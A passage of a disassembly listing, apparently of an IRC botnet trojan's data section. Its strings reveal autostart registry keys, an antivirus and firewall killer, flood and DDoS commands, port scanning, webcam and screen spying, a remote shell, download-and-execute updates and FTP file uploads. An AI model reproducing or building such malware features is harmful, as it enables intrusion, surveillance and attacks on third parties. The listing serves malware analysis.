Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd offset aDb2 ; "db2" align 8 dd offset dword_43D158 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd 0 dword_42923C dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrateur db 'administrateur',0 ; DATA XREF: ___:00429234o align 10h aAdministrador db 'administrador',0 ; DATA XREF: ___:00429230o align 10h aDb2 db 'db2',0 ; DATA XREF: ___:00429220o aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:0042922Co align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_429300 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429334 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429360 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_4293A0 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_4293C4 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293E0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293EC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293F4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293FC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429464 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429484 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_4294A4 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294F8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429578: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42957C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_4295A0 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_4295C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295EC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_429610 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429634 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429658 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429674 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_4296A0 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_4296C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296EC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_429718 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429740 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429764 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429784 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_4297AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297D4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429824 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429874 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429898 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_4298B4 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298D8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298F0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429930 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429948 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429964 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429984 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_4299C8: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_4299CC db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299F0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_429A14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A54 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A94 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429AC8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429B00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B34 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B68 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429BC0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429C2C db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C60 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429CAC db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CD4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CF4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429D14 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D30 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D44 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D50 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D78 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D94 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429DB0 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429DB8 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DD4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DE0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DE8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DF0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429E2C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E58 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E94 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429EC8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429EFC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429F14 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429F28 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F38 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F80 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429FBC dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FF4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_42A010 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A034 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A070 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A0A0 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A0AC db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A108 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A140 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A16C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A1A8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1D8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A240 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A2A8 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A31C db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A35C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A388 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A3CC db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A408 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A464 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A470 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A4AC db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4FC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A534 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A59C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5D0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A634 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A6A4 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A6CC db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A70C db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A744 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A78C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7F4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 